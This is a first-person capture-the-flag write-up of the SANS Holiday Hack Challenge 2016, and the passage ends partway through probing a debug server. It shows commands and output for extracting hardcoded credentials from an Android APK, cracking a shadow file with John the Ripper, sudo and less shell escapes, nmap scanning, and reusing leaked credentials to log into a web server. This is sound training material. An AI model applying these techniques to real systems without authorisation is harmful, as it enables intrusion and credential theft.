

SANS Holiday Hack Challenge 2016

Write-up

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Introduction

SANS Holiday Hack Challenge.

This is the first time I participate in it and it is also the first ever write-up I've done of any CTF, so this should be fun.

Also, a chance of winning a t-shirt, no matter how much one manage to solve? Count me in, I love free t-shirts, seriously.

Now really, this is more than enough of an introduction, this write-up is running late as-is. I've probably spend more time actually converting my text document with my solutions into something that can be shared and understood by anyone other than me. Check [Appendix A](#) for the original notes.

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1 Part 1: A Most Curious Business Card

Alright, so the business card that dear ol' Santa dropped is the one seen in Figure 1. It shows that Mr. Claus is using both Twitter and Instagram.



Figure 1: Santa's business card

1.1 What is the secret message in Santa's tweets?

First things first, looking at Santa's tweets, well, makes me think of a madman. More specifically Wanev¹. However, that illusion was quickly dispelled, and I realised that I'd probably have to fetch all the tweets to see what was up with them.

I'll admit though, that I was a little bit on the lazy side when I solved this challenge. I didn't have a script to fetch the tweets and there weren't that many that I bothered writing one, so here's how I did.

So what I did was to load all the tweets by Santa in my browser. This involved scrolling down for a little bit. Once there were no more tweets to load, I pressed CTRL+A to select all text on the page and then I copied it.

Next step was to paste it into a text editor, from here it's clear that the content of each tweet is the same length, this can be seen in Figure 2.

¹The old coordinator of the Residence For The Magically Deviant, who gave memos of "nonsense" when talked to. Seriously though, *always keep the pentaloons*.

```



27 instagram.com/santawclaus
28 Joined November 2016
29
30 Tweet to Santa
31
32 Tweets
33 Tweets Tweets & replies
34 Santa @SantaWclaus Nov 14
35 SANTAELFHOOHOCHRISTMASANTACHRISTMASPEACEONEARTHCHRISTMASSELFHOHOHO
36 95 replies 15 retweets 23 likes
37 Reply 95 Retweet 15
38 Like 23
39 More
40 Santa @SantaWclaus Nov 14
41 GOODWILLTOWARDSMENSANTAPEACEONEARTHHOHOJOYSANTAGOODWILLTOWARDSMENJOYJOYQQ
42 4 replies 2 retweets 0 likes
43 Reply 4 Retweet 2
44 Like
45 More
46 Santa @SantaWclaus Nov 14
47 GOODWILLTOWARDSMENGODWILLTOWARDSMENJOYHOHOHOJOYELFPEACEONEARTHJOYHOHOHO
48 2 replies 2 retweets 0 likes
49 Reply 2 Retweet 2
50 Like
51 More
52 Santa @SantaWclaus Nov 14
53 GOODWILLTOWARDSMENSANTACHRISTMASCHRISTMASPEACEONEARTHNORTHPOLEHOHOHOELFELFQ

```

Figure 2: Santa's tweets, unfiltered.

As it turns out, the content of the tweets are 75 characters each, this makes removing all the other junk a small task. To remove all the unwanted lines I used a little bit of regex-magic.

Firstly replacing all lines that were not exactly 75 characters long with an empty string (Figure 3) and secondly replacing all multiples of newlines with a single newline (Figure 4).

**Figure 3:** Santa's tweets, 1st pass.**Figure 4:** Santa's tweets, 2nd pass.

After doing this, some text is revealed, it is possible to see the outline of a B in Figure 4, however, zooming all the way out and rotating the text reveals the secret that is hidden in dear ol' Santa's tweets.




Figure 5: Santa's tweets, revelation.

1.2 What is inside the ZIP file distributed by Santa's team?

Uh, what? What ZIP file? ... I spend more time on tracking down the ZIP file, than I care to admit. Anyway, here is a run-down of the process of finding said ZIP file.

I guess we're done with Twitter, so visit Instagram and see 3 beautiful images, two of which I discard more or less at a glance, however [Figure 6](#) looks promising.




Figure 6: Hermey's messy desk. Unlike mine, which is sparkling...

It doesn't take long to notice the filename of the ZIP file, this can be seen in [Figure 7](#). But uhm, where exactly should I find this file..? And this is the part that took me longer than I

care to admit..




Figure 7: The filename of the ZIP file.

What else is on that picture, a reference to a SANS course, Violent Python, an NMAP report², some half eaten beef jerky(?), a screw driver, various coins, a book called Rootkits, etc. etc. etc., so I think to myself, alright, maybe that's what there is to find in this picture. Time to look at the other two. Now after looking at the other pictures for a while, going back to Twitter to see if I missed something, then going back to Instagram³, because surely, I must've missed something.

Aaand suddenly, lightning strikes and I spot the thing that I've completely missed/ignored the whole time. Yup, it's a website, and it can be seen in Figure 8.




Figure 8: The filename of the ZIP file.

²... Yup, I completely missed that.

³I even created an Instagram account, just to make sure that something wasn't hidden behind a login.

Time to put the two pieces of information together and visit www.northpolewonderland.com/SantaGram_v4.2.zip and see what's inside the cursed ZIP archive. As seen in Figure 9 there resides an APK file.

Name	Size	Packed	Type	Modified	CRC32
..			Local Disk		
SantaGram_4.2.apk *	2.257.390	1.962.826	APK File	09-12-2016 08:47	EDE16A54

Figure 9: Contents of ZIP file.

2 Part 2: Awesome Package Konveyance

Well, the task is clear, it's time to extract the APK from the zip file.

... A minor roadblock, the ZIP file is password protected but a lucky guess that the password is "bugbounty" and the APK is extracted.


Perfect, let us proceed.

2.1 What username and password are embedded in the APK file?


The right tool to answer this question seems to be jadx⁴ this is also the tool suggested by one of the elves, Shinny Upatree.

With the APK opened in jadx, there are a few options as to finding the embedded username and password. Option one, browse through the source code for the application, which can be found in the package "com.northpolewonderland.santagram", this can be seen in Figure 10.

⁴The GitHub repository can be found at <https://github.com/skylot/jadx>.

**Figure 10:** jadx package explorer of SantaGram

Or, and personally I like this better, perhaps try and get lucky and use the search feature to search for "username". The results of this search can be seen in Figure 11 and shows that there indeed is a username present.

**Figure 11:** jadx search results

Time to open the SplashScreen file to take a closer look, and you wouldn't have guessed it, but alongside that username, there is also a password. Check Figure 12 and have a look for yourself.

```
private void postDeviceAnalyticsData() {
    final JSONObject jsonObject = new JSONObject();
    try {
        jsonObject.put("username", "guest");
        jsonObject.put("password", "busyreindeer78");
        jsonObject.put("type", "launch");
        jsonObject.put("model", Build.MODEL);
        jsonObject.put("sdkint", VERSION.SDK_INT);
```

Figure 12: jadx SplashScreen

So there we have it, the embedded username and password.

2.2 What is the name of the audible component (audio file) in the SantaGram APK file?

Right, okay. So to get to the audio file inside the APK, let's unpack it, it's basically a ZIP file. Now this is another part where I happened to get very lucky. Check out Figure 13 to see why.

```
EFRETTI :: ~/Downloads » unzip SantaGram_4.2.apk -d SantaGram
Archive: SantaGram_4.2.apk
  inflating: SantaGram/AndroidManifest.xml
  inflating: SantaGram/META-INF/CERT.RSA
  inflating: SantaGram/META-INF/CERT.SF
  inflating: SantaGram/META-INF/MANIFEST.MF
  inflating: SantaGram/assets/tou.html
  inflating: SantaGram/classes.dex
  inflating: SantaGram/res/anim-v21/design_bottom_sheet_slide_in.xml
  inflating: SantaGram/res/anim-v21/design_bottom_sheet_slide_out.xml
  inflating: SantaGram/res/anim/abc_fade_in.xml
  :
  :
  :
extracting: SantaGram/res/mipmap-mdpi-v4/ic_launcher.png
extracting: SantaGram/res/mipmap-xhdpi-v4/ic_launcher.png
extracting: SantaGram/res/mipmap-xxhdpi-v4/ic_launcher.png
extracting: SantaGram/res/mipmap-xxxhdpi-v4/ic_launcher.png
extracting: SantaGram/res/raw/discombobulatedaudio1.mp3
extracting: SantaGram/resources.arsc
EFRETTI :: ~/Downloads »
```

Figure 13: Unzipping the SantaGram APK.

As you can see, the second last line actually shows the file that we're looking for. To make sure, I did scroll through all of the output of the 'unzip' command.

But there we have it folks, another challenge down.

3 Part 3: A Fresh-Baked Holiday Pi

Before beginning on these quests, I needed to assemble the Cranberry Pi in the RPG world. To see where to find the pieces of the Cranberry Pi, check out subsection 6.2. Once that quest was completed I downloaded the cranbian image⁵.

3.1 What is the password for the "cranpi" account on the Cranberry Pi system?

Alright, so the easiest way to get to the password for the account "cranpi" is to put john⁶ to work on the shadow file in the image.

That just leaves the question of how to access the shadow file. The easiest way would be to mount the cranbian image, check out Figure 14.

```

root@kali:~/cranberry# fdisk -l cranbian-jessie.img
Disk cranbian-jessie.img: 1.3 GiB, 1389363200 bytes, 2713600 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x5a7089a1

Device      Boot  Start    End Sectors  Size Id Type
cranbian-jessie.img1      8192 137215 129024   63M  c W95 FAT32 (LBA)
cranbian-jessie.img2  137216 2713599 2576384 1.2G 83 Linux
root@kali:~/cranberry# mkdir mnt
root@kali:~/cranberry# mount -o offset=$((137216*512)) cranbian-jessie.img mnt/
root@kali:~/cranberry# ls mnt/
bin  dev  home  lost+found  mnt  proc  run  srv  tmp  var
boot etc  lib   media     opt  root  sbin  sys  usr
root@kali:~/cranberry#

```

Figure 14: The process of mounting the Cranbian image.

A comment on the red arrows in Figure 14, 512 is the size of each sector in the image and 137216 is the start sector of the Linux file system. So with $137216 \times 512 = 70254592$ we have the offset needed to mount the image.

Now that the image is mounted, it's time to put dear John to work. In Figure 15 I do just that.

⁵Found at <https://www.northpolewonderland.com/cranbian.img.zip>

⁶John The Ripper - <http://www.openwall.com/john/>

```
root@kali:~/cranberry# john --wordlist=./rockyou.txt mnt/etc/shadow
Warning: detected hash type "sha512crypt", but the string is also recognized as "crypt"
Use the "--format=crypt" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Press 'q' or Ctrl-C to abort, almost any other key for status
yummycookies      (cranpi)
1g 0:00:09:52 DONE (2017-01-01 09:19) 0.001689g/s 767.3p/s 767.3c/s 767.3C/s yves69..yuly1
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```


Figure 15: Cracking the shadow file. The password is 'yummycookies'

So now we have the password for the user. Time to speak to Holly Everygreen and let her know what the password is.

3.2 How did you open each terminal door and where had the villain imprisoned Santa?

Alright, so there are five terminals scattered throughout the little world. Completing each terminal gives a password, which in turn allows access through the door next to the terminal.

3.2.1 Terminal 1: Elf House #2



This is the screen that greets you when you open this terminal. So I guess we just have to read '/out.pcap,' easy peasy...

```
scratchy@95e9051f87c2:/$ ls -al /out.pcap
-r----- 1 itchy itchy 1087929 Dec  2 15:05 /out.pcap
scratchy@95e9051f87c2:/$
```

Except it seems that only *itchy* can read the file, and I'm logged in as *scratchy*. Trying to 'su *itchy*' prompts a password, which I don't have. ... What else, what else. Time to take a look at 'sudo,' more precisely 'sudo -l.'

```
scratchy@95e9051f87c2:~$ sudo -l
sudo: unable to resolve host 95e9051f87c2
Matching Defaults entries for scratchy on 95e9051f87c2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User scratchy may run the following commands on 95e9051f87c2:
    (itchy) NOPASSWD: /usr/sbin/tcpdump
    (itchy) NOPASSWD: /usr/bin/strings
scratchy@95e9051f87c2:~$
```

Alright, so there are a few commands available that I can run as *itchy*. Time to run the first one and see if there's anything exciting.

```
scratchy@ba769e811f33:~$ sudo -u itchy strings /out.pcap | more
```

```
0Server: SimpleHTTP/0.6 Python/2.7.12+
ZAXr
rhi@
0Date: Fri, 02 Dec 2016 11:28:00 GMT
Content-type: text/html
Ihj@
PContent-Length: 113
ZAX2
ZAXI
dhk@
PLast-Modified: Fri, 02 Dec 2016 11:25:35 GMT
P<html>
<head></head>
<body>
<form>
<input type="hidden" name="part1" value="santasli" />
</form>
</body>
</html>
4hm@
ZAXW
@2/@
DGET /secondhalf.bin HTTP/1.1
User-Agent: Wget/1.17.1 (darwin15.2.0)
Accept: */*
Accept-Encoding: identity
Host: 192.168.188.130
Connection: Keep-Alive
ZAX
--More--
```

Browsing through the output of 'strings' does indeed show something exciting. The first red box shows the first part of the password, 'santasli', the second shows the GET request for what I believe to be the place to find the second half of the password.

But first, I'll make a guess that the password is 'santaslittlehelper'.



And lo and behold, it is the password.

However, for completeness sake, it is time to try and find the second half of the password and as it turns out, the second half does not show in the 'strings' output.

A few observations, before jumping the gun on 'tcpdump', it seems the GET requests where to */firsthalf.html* and */secondhalf.bin* and the marker for the first half of the password seems to be *part1*, so an educated guess would be to search for *part2* in the pcap.

So with that in mind, it's time to run 'tcpdump' and pipe it into a grep to see if we can catch anything.


```
scratchy@7ec861048a0a:/$ sudo -u itchy tcpdump -A -r /out.pcap |grep -C 3 "part"
sudo: unable to resolve host 7ec861048a0a
reading from file /out.pcap, link-type EN10MB (Ethernet)
<head></head>
<body>
<form>
<input type="hidden" name="part1" value="santasli" />
</form>
</body>
</html>
scratchy@7ec861048a0a:/$
```

Well, it's a good start. It catches the first password. Now, since the theory is that the second part is embedded into the *secondhalf.bin* file, the text might be separated by some obscure characters, so time to try another grep.

```
scratchy@7ec861048a0a:/$ sudo -u itchy tcpdump -A -r /out.pcap |grep -C 1 -E "p.?a.?r.?t"
sudo: unable to resolve host 7ec861048a0a
reading from file /out.pcap, link-type EN10MB (Ethernet)
<form>
<input type="hidden" name="part1" value="santasli" />
</form>
--
..I.m6m..<Ls....3....rR...V.kP.$Y..~.5...4.<o.J....
.Ej3.(( P.!uM.*D.0+... .!..n...+=...:j.....e.....w....!{m.1<.+..QX..r...kAR...` .t5
QkS....!...>....j;....0Q....c....e.&....{p.a.r.t.2::t.t.l.e.h.e.l.p.e.r.
.Q.i._6...c.s.....g..I...
scratchy@7ec861048a0a:/$
```

Excellent, this time both parts of the password showed up, and it also confirmed the guess of 'santaslittlehelper.'

3.2.2 Terminal 2: The Workshop (Bottom)



```
*****
*
* To open the door, find the passphrase file deep in the directories.
*
*****
```

Great. Stuff hidden somewhere, huh? I guess the first thing to do a little *ls*'ing

```
elf@b50c70d2933e:~$ ls -al
total 32
drwxr-xr-x 20 elf  elf  4096 Dec  6 19:40 .
drwxr-xr-x 22 root root 4096 Dec  6 19:40 ..
-rw-r--r--  1 elf  elf   220 Nov 12 2014 .bash_logout
-rw-r--r--  1 elf  elf  3924 Dec  6 19:40 .bashrc
drwxr-xr-x 18 root root 4096 Dec  6 19:40 .doormat
-rw-r--r--  1 elf  elf   675 Nov 12 2014 .profile
drwxr-xr-x  2 root root 4096 Dec  6 19:39 temp
drwxr-xr-x  2 root root 4096 Dec  6 19:39 var
elf@b50c70d2933e:~$
```

Would you look at that? There's a doormat, and everyone knows that you hide keys underneath doormats. Time to see if we can find any files in there, or if it's just a decoy.

```
elf@b50c70d2933e:~$ find .doormat/ -type f -name "*" -print0 | xargs -0 echo  
.doormat/. / /\ \\\/\ Don't Look Here!/You are persistent, aren't you?/'/key_for_the_door  
.txt  
elf@b50c70d2933e:~$
```

Uh, what? That looks like something that needs to be escaped at every step. And this terminal does **not** have tab-completion.


```
elf@0d3bfe78fc2f:~$ cd .doormat/.\\ /\\ /\\/  
elf@0d3bfe78fc2f:~/..doormat/. / \\$ cd \\\\/  
elf@0d3bfe78fc2f:~/..doormat/. / /\\\$ cd Don\\'t\\ Look\\ Here\\!/You\\ are\\ persistent\\,  
aren\\'t\\ you\\?\\/  
elf@0d3bfe78fc2f:~/..doormat/. / /\\$/Don't Look Here!/You are persistent, aren't you?  
/'$ cat key_for_the_door.txt  
key: open sesame  
elf@0d3bfe78fc2f:~/..doormat/. / /\\$/Don't Look Here!/You are persistent, aren't you?  
/'$
```

Okay, a painstaking *cd*'ing later and it is possible to *cat* the file. Thus providing the key for the next door.

3.2.3 Terminal 3: The Workshop - Santa's Office




Hello, Joshua.




Mkay. Or not. Well, turns out just 'Hello.' works. A bit of Google-foo and the full script is located⁷, however the script needed a little bit of modification.

⁷Located at <https://github.com/abs0/wargames/blob/master/wargames.sh>.




Missing the side selection here, I choose '2'.



And there we have it folks, the password for the next door.

3.2.4 Terminal 4: The Workshop (Top)




```
sudo: unable to resolve host 37923855e9ee
*****
* Find the passphrase from the wumpus. Play fair or cheat; it's up to you. *
*****
elf@37923855e9ee:~$
```

So a classic game of Hunt the Wumpus⁸, now reversing stuff is in no form, way or shape my strong suit.

So first things first, just play the game as it's meant to be played and that actually worked out perfectly fine. I completed the challenge in around 10 minutes time.

However, for the sake of having fun and since I'm allowed to cheat, it's time to pull out the *strings* command and take a look at what strings there are in the Wumpus binary.



```
sudo: unable to resolve host 37923855e9ee
*****
* Find the passphrase from the wumpus. Play fair or cheat; it's up to you. *
*****
elf@37923855e9ee:~$ ls
wumpus
elf@37923855e9ee:~$ strings wumpus | more
```

⁸Wiki page at https://en.wikipedia.org/wiki/Hunt_the_Wumpus

```
VUUUUUUUH
AWAVA
AUATL
%&%
-&%
[]A\A]A^A_
0123456789abcdef
The sky above the port was the color of television, tuned to a dead channel.
Pattern Recognition.
The street finds its own uses for things.
When you want to know how things really work, study them when they're coming apart
We have no future because our present is too volatile. We have only risk management.
Stand high long enough and your lightning will come.
No self-respecting wumpus would live in such a small cave!
Even wumpii can't furnish caves that large!
Wumpii like extra doors in their caves!
a:b:hp:r:t:
Too many tunnels! The cave collapsed!
(Fortunately, the wumpus escaped!)
The wumpus refused to enter the cave, claiming it was too crowded!
The wumpus refused to enter the cave, claiming it was too dangerous!
You're in a cave with %d rooms and %d tunnels leading from each room.
There are %d bat%s and %d pit%s scattered throughout the cave, and your
quiver holds %d custom super anti-evil Wumpus arrows. Good luck.
Move or shoot? (m-s)
Care to play another game? (y-n)
In the same cave? (y-n)
You are in room %d of the cave, and have %d arrow%s left.
*rustle* *rustle* (must be bats nearby)
--More--
```

So straight away, this looks fishy. Is it possible to change the number of caves, bats etc., in the game? And what's that *a:b:hp:r:t:* rubbish about? Let's keep going through the output.

```
Instructions? (y-n)
wump.info
Sorry, but the instruction file seems to have disappeared in a
puff of greasy black smoke! (poof)
```

So it seems as if there once were a file containing some sort of information about the game, but who knows.

```
exec sh -c %
fork
usage: wump [parameters]
*ROAR* *chomp* *snurfle* *chomp*!
Much to the delight of the Wumpus, you walked right into his mouth,
```

Now, this confirms the suspicion about the game taking arguments of sorts. The arguments might be related to the odd string above.

After searching google for "a:b:hp:r:t:" I found *wumpus.c*⁹ and this file seems to let me know what the arguments are, and what they stand for.

- a - Amount of arrows the player can carry.
- b - Amount of bats in the game.
- h - Hard mode, no thanks.
- p - Amount of pits.
- r - Amount of rooms
- t - Amount of tunnels.

So, with this information I'm ready to play the game.

```
elf@37923855e9ee:~$ ./wumpus -a 100 -b 0 -p 0 -r 9 -t 3  
Instructions? (y-n) n
```

```
You're in a cave with 9 rooms and 3 tunnels leading from each room.  
There are 0 bats and 0 pits scattered throughout the cave, and your  
quiver holds 100 custom super anti-evil Wumpus arrows. Good luck.
```

```
You are in room 3 of the cave, and have 100 arrows left.  
*sniff* (I can smell the evil Wumpus nearby!)  
There are tunnels to rooms 2, 4, and 8.  
Move or shoot? (m-s) s 2  
*thwock!* *groan* *crash*
```

```
A horrible roar fills the cave, and you realize, with a smile, that you  
have slain the evil Wumpus and won the game! You don't want to tarry for  
long, however, because not only is the Wumpus famous, but the stench of  
dead Wumpus is also quite well known, a stench plenty enough to slay the  
mightiest adventurer at a single whiff!!
```


```
Passphrase:  
WUMPUS IS MISUNDERSTOOD
```

```
Care to play another game? (y-n) ■
```

With a stroke of luck and the game is completed in the very first move.

⁹Located at <http://gentoo.osuosl.org/distfiles/wump.c>

3.2.5 Terminal 5: Train Station




```
Train Management Console: AUTHORIZED USERS ONLY

==== MAIN MENU ====

STATUS: Train Status
BRAKEON: Set Brakes
BRAKEOFF: Release Brakes
START: Start Train
HELP: Open the help document
QUIT: Exit console

menu:main> █
```


Huh. So some sort of menu that we need to play around with.



```
menu:main> START

Checking brakes....
Enter Password: █
```

So it seems that I need to find a password, to be able to start this thing.



```
menu:main> STATUS

Brake: on
BoilerOn: Yes
BoilerTemp: Normal
Coal Capacity Level: 97%
FluxCapacitor: Fluxing
Top Speed: 88mph
```

Top speed 88mph and the flux capacitor is fluxing. Excellent. This better be time travel!

The terminal window has a red header bar with the title "Help Document for the Train". The content area contains the following text:

```
**STATUS** option will show you the current state of the train (brakes, boiler, boiler temp, coal level)

**BRAKEON** option enables the brakes. Brakes should be enabled at every stop and while the train is not in use.

**BRAKEOFF** option disables the brakes. Brakes must be disabled before the **START** command will execute.

**START** option will start the train if the brake is released and the user has the correct password.

**HELP** brings you to this file. If it's not here, this console cannot do it, unLESS you know something I don't.

Just in case you wanted to know, here's a really good Cranberry pie recipe:

Ingredients
1 recipe pastry for a 9 inch double crust pie
1 1/2 cups white sugar
1/3 cup all-purpose flour
1/4 teaspoon salt
1/2 cup water
1 (12 ounce) package fresh cranberries
1/4 cup lemon juice
1 dash ground cinnamon
```

The path "/home/conductor/TrainHelper.txt" is visible at the bottom of the terminal window.

So this is what is presented by the HELP command. Would you look at that, seems like there is a little hint for us. Now if this is showing the help file with *less*, then typing ! and hitting enter should open a shell for us.

Train Management Console: AUTHORIZED USERS ONLY


==== MAIN MENU ====

STATUS:	Train Status
BRAKEON:	Set Brakes
BRAKEOFF:	Release Brakes
START:	Start Train
HELP:	Open the help document
QUIT:	Exit console

menu:main> HELP


```
sh-4.3$ ls
ActivateTrain  TrainHelper.txt  Train_Console
sh-4.3$
```

And there it is, the shell. And also the files that we need to look at. *TrainHelper.txt* contains the help information, *Train_Console* contains the following



```
#!/bin/bash
HOMEDIR="/home/conductor"
CTRL="$HOMEDIR/"
DOC="$HOMEDIR/TrainHelper.txt"
PAGER="less"
BRAKE="on"
PASS="24fb3e89ce2aa0ea422c3d511d40dd84"
print_header() {
    echo ""
    echo "Train Management Console: AUTHORIZED USERS ONLY"
    echo ""
}
print_main_menu() {
    echo ""
    echo "===== MAIN MENU ====="
    echo ""
    echo "STATUS:           Train Status"
    echo "BRAKEON:         Set Brakes"
    echo "BRAKEOFF:        Release Brakes"
    echo "START:           Start Train"
    echo "HELP:            Open the help document"
    echo "QUIT:            Exit console"
    echo ""
    echo -n "menu:main> "
}
# MAIN
Train_Console
```

There's the password we need. However, maybe it's possible to run *ActivateTrain* directly.



Great success, it can be start with and without the password. So that's the last of the terminals down.

4 Part 4: My Gosh... It's Full of Holes

Now, here's the fun part. Pwn some website. First though we have to figure out what websites to actually pwn.

So time to use apktool to get access to the strings.xml file. This file contains constants to use in the application.

```
EFRETTI :: ~/Downloads » apktool d SantaGram_4.2.apk
I: Using Apktool 2.2.1 on SantaGram_4.2.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/Regenuluz/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
EFRETTI :: ~/Downloads »
```

Unpacking XML, that's what I want to see.

Now that the APK has been decompiled with apktool, you can also navigate into 'res/raw/' to find the audio file.

```
EFRETTI :: ~/Downloads » cd SantaGram_4.2/res/raw
EFRETTI :: SantaGram_4.2/res/raw » ls
discombobulatedaudio1.mp3
EFRETTI :: SantaGram_4.2/res/raw »
```

Alright, time to open the strings.xml file.

```
<string name="analytics_launch_url">http://analytics.northpolewonderland.com/report.php?type=launch</string>
<string name="analytics_usage_url">http://analytics.northpolewonderland.com/report.php?type=usage</string>
<string name="appVersion">4.2</string>
<string name="app_name">SantaGram</string>
<string name="appbar_scrolling_view_behavior">android.support.design.widget.AppBarLayout$ScrollingViewBehavior</string>
<string name="banner_ad_url">http://ads.northpolewonderland.com/affiliate/C9E380C8-2244-41E3-93A3-D6C6700156A5</string>
<string name="bottom_sheet_behavior">android.support.design.widget.BottomSheetBehavior</string>
<string name="character_counter_pattern">%1$d / %2$d</string>
<string name="debug_data_collection_url">http://dev.northpolewonderland.com/index.php</string>
<string name="debug_data_enabled">true</string>
<string name="dungeon_url">http://dungeon.northpolewonderland.com/</string>
<string name="exhandler_url">http://ex.northpolewonderland.com/exception.php</string>
```

This gives the following urls

- analytics_launch_url - <http://analytics.northpolewonderland.com/report.php?type=launch>
- analytics_usage_url - <http://analytics.northpolewonderland.com/report.php?type=usage>
- banner_ad_url - <http://ads.northpolewonderland.com/affiliate/C9E380C8-2244-41E3-93A3-D6C6700156A5>
- debug_data_collection_url - <http://dev.northpolewonderland.com/index.php>
- dungeon_url - <http://dungeon.northpolewonderland.com/>

- exhandler_url - <http://ex.northpolewonderland.com/exception.php>

Which is excellent. Pinging each domain provides an IP address that can be verified by the Oracle.

4.1 Attempt to remotely exploit each of the following targets.

Verify IPs

4.1.1 The Mobile Analytics Server (via credentialed login access)

Alright, now that <https://analytics.northpolewonderland.com/> has been verified as a target, it's time to pay it a visit.

Sprusage

Sprusage

Please login to use the application

Username

Password

Log In

Entering that URL greets you with a redirect to */login.php* and a login screen.

Seeing as the android app are using the credentials found earlier to send off information, let's try and login with them.

The screenshot shows the Sprusage usage monitor interface. At the top, there's a navigation bar with links for Sprusage, Query, View, MP3 (which is highlighted in orange), and Logout. Below the navigation bar is the main title "Sprusage" and a welcome message: "Welcome to the 'Sprusage' usage monitor!". A green success message box says "Successfully logged in!". In the center, there's a question "What would you like to do today?" with two orange buttons below it: "Query Data" and "View a Previous Query".

Bingo! We've successfully logged into the website. And would you believe it, there's a link called "MP3" which points to <https://analytics.northpolewonderland.com/getaudio.php?id=20c216bc-b8b1-11e6-89e1-42010af00008>. Clicking that link provides the very first audio file.

4.1.2 The Dungeon Game

One of the elves kindly provides a binary¹⁰ of the dungeon game, also known as Zork, to play around with and from the APK we have <http://dungeon.northpolewonderland.com/> which shows commands that can be used in the game. It also explains how a new passage has opened up, which leads to the lair of a mischievous elf, who will trade for secrets.

Before getting started on the game, it's time to do a little research, because I frankly I've never been any good at Zork and the only version I've completed is the Strange Leaflet¹¹.

Searching the web for a bit leads to http://gunkies.org/wiki/Zork_hints, which reveals a command called GDT, so it's time to see if this works in our version of the game.

```
EFRETTI :: ~/dungeon » ./dungeon
chroot: Function not implemented
Welcome to Dungeon.                                     This version created 11-MAR-78.
You are in an open field west of a big white house with a boarded
front door.
There is a small wrapped mailbox here.
>GDT
GDT>
```

¹⁰Found at <http://www.northpolewonderland.com/dungeon.zip>

¹¹A quest given in Kingdom Of Loathing

And the debug is indeed enabled. Next part is figuring out which command(s) might be useful. Straight away, the TK (take) command looks like fun. By doing a bit of testing, it seems that there are 217 items in the game. To spawn them all in, to have a look at them I used the following script to generate the commands, which I then just copy and pasted into the game.

```
1 #!/usr/bin/env python
2 print "GDT"
3 for i in range(1, 218):
4     print "TK"
5     print i
6
7 print "exit"
8 print
```

So pasting the output from the script into the game we get the following

```
GDT>TK
Entry:    213
Taken.
GDT>TK
Entry:    214
Taken.
GDT>TK
Entry:    215
Taken.
GDT>TK
Entry:    216
Taken.
GDT>TK
Entry:    217
Taken.
GDT>exit
```

So a whole bunch of items has been claimed, great success. Now it's time to see which items I got.

```
A small slit.
A gold card.
A steel door.
A #.
.
.
.
.
.
.
A panel.
A stone channel.
A dungeon master.
A ladder.
A Elf.
```

Well, the last item obtained is the *elf*, also amongst the items we find a *gold card*, after a little bit of testing we get the following result.

```
>drop elf
The elf appears increasingly impatient.
>give gold card to elf
The elf, satisified with the trade says -
Try the online version for the true prize
The elf says - you have conquered this challenge - the game will now end.
Your score is 15 [total of 585 points], in 3 moves.
This gives you the rank of Beginner.
The game is over.
```

So dropping the elf allows us to give it items, and giving it the gold card seems to complete the game, and also tells us to get online to get the real prize.

This means it's time to nmap dungeon.northpolewonderland.com to figure out where the online version of the game is located.

```
Nmap scan report for dungeon.northpolewonderland.com (35.184.47.139)
Host is up (1.4s latency).
rDNS record for 35.184.47.139: 139.47.184.35.bc.googleusercontent.com
Not shown: 992 closed ports
PORT      STATE    SERVICE
22/tcp     open     ssh
25/tcp     filtered smtp
80/tcp     open     http
135/tcp    filtered msrpc
139/tcp    filtered netbios-ssn
445/tcp    filtered microsoft-ds
548/tcp    filtered afp
11111/tcp  open     vce
```

Well well well, it seems port *11111* is open. So time to try and connect to it.

```
EFRETTI :: ~ » nc dungeon.northpolewonderland.com 11111
Welcome to Dungeon.                                     This version created 11-MAR-78.
You are in an open field west of a big white house with a boarded
front door.
There is a small wrapped mailbox here.
>-
```

Yes! Looks like we found the online version of the game. Checking that *GDT* works on the online version, reveals that it indeed does work. So copy pasting the output from the above script into the online version and then repeating the steps from the local version should give us the secret.


```
>drop elf
The elf appears increasingly impatient.
>give gold card to elf
The elf, satisfied with the trade says -
send email to "peppermint@northpolewonderland.com" for that which you seek.
The elf says - you have conquered this challenge - the game will now end.
Your score is 15 [total of 585 points], in 3 moves.
This gives you the rank of Beginner.
EFRETTI :: ~ >
```

And another great victory. Time to shop off an email and see what kind of response I get.

From Peppermint □

 peppermint@northpolewonderland.com
to me ▾

You tracked me down, of that I have no doubt.
I won't get upset, to avoid the inevitable bout.
You have what you came for, attached to this note.
Now go and catch your villain, and we will alike do dote.



🔊 discombobulated...

That's the email, along with an audio file called *discombobulatedaudio2.mp3*.

4.1.3 The Debug Server

Pfft, visiting <http://dev.northpolewonderland.com/index.php> just shows a blank page. That's no fun.

Now heading to JadX and checking out how the app using it, we stumble upon

```
final JSONObject jsonObject = new JSONObject();
jsonObject.put("date", new SimpleDateFormat("yyyyMMddHHmmssZ").format(Calendar.getInstance().getTime()));
jsonObject.put("udid", Secure.getString(getApplicationContext(), "android_id"));
jsonObject.put("debug", getClass().getCanonicalName() + ", " + getClass().getSimpleName());
jsonObject.put("freemem", Runtime.getRuntime().totalMemory() - Runtime.getRuntime().freeMemory());
```

and a little more investigation shows that it sends this as, surprise surprise, a POST request. Time for some curling with the following JSON.

```
{  
    "date": "20161228095114+0100",  
    "udid": "thisnthat",  
    "debug": "com.northpolewonderland.santagram.EditProfile, EditProfile",  
    "freemem": 123456798  
}
```

and this is the output

```
EFRETTI :: ~ » curl -i -H "Content-Type: application/json" -d @debug.json -X POST dev.northpolewonderland.com/index.php  
HTTP/1.1 200 OK  
Server: nginx/1.6.2  
Date: Wed, 04 Jan 2017 20:28:55 GMT  
Content-Type: application/json  
Transfer-Encoding: chunked  
Connection: keep-alive  
  
{"date": "20170104202855", "status": "OK", "filename": "debug-20170104202855-0.txt", "request": {"date": "20161228095114+0100", "udid": "thisnthat", "debug": "com.northpolewonderland.santagram.EditProfile, EditProfile", "freemem": 123456798, "verbose": false}}%
```

So it seems to more or less just reflect what I send it, however there is one tiny thing that looks interesting. Time to mix up the JSON a little bit and see what happens.

```
